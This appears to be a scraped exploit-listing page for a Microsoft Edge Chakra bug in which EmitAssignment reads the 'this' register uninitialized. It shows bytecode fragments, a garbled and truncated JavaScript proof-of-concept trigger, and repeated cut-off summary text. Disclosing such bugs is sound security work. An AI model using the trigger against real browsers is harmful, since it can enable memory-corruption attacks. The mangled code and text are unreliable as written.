Microsoft Edge Chakra - 'EmitAssignment' uses the 'this' Register Without Initializing

000c ProfiledLdEnvSlot R4 = 13 Line 28: super.a = 1; Col 13: ^ 0018 LdHomeObjProto R8 R4 001d ProfiledStSuperFld R8.this=R5 = R3 0 0025 LdUndef R0 Line 29: Col 9: ^ 0027 Ret PoC: -- class Parent ; class Child extends Parent constructor = super.a = 10; // Implicitly use the "this" register. So it...

Microsoft Edge Chakra EmitAssignment Register Issue Exploit

Microsoft Edge Chakra has an issue where EmitAssignment uses the "this" register without initializing. Microsoft Edge: Chakra: EmitAssignment uses the "this" register without initializing "EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when t...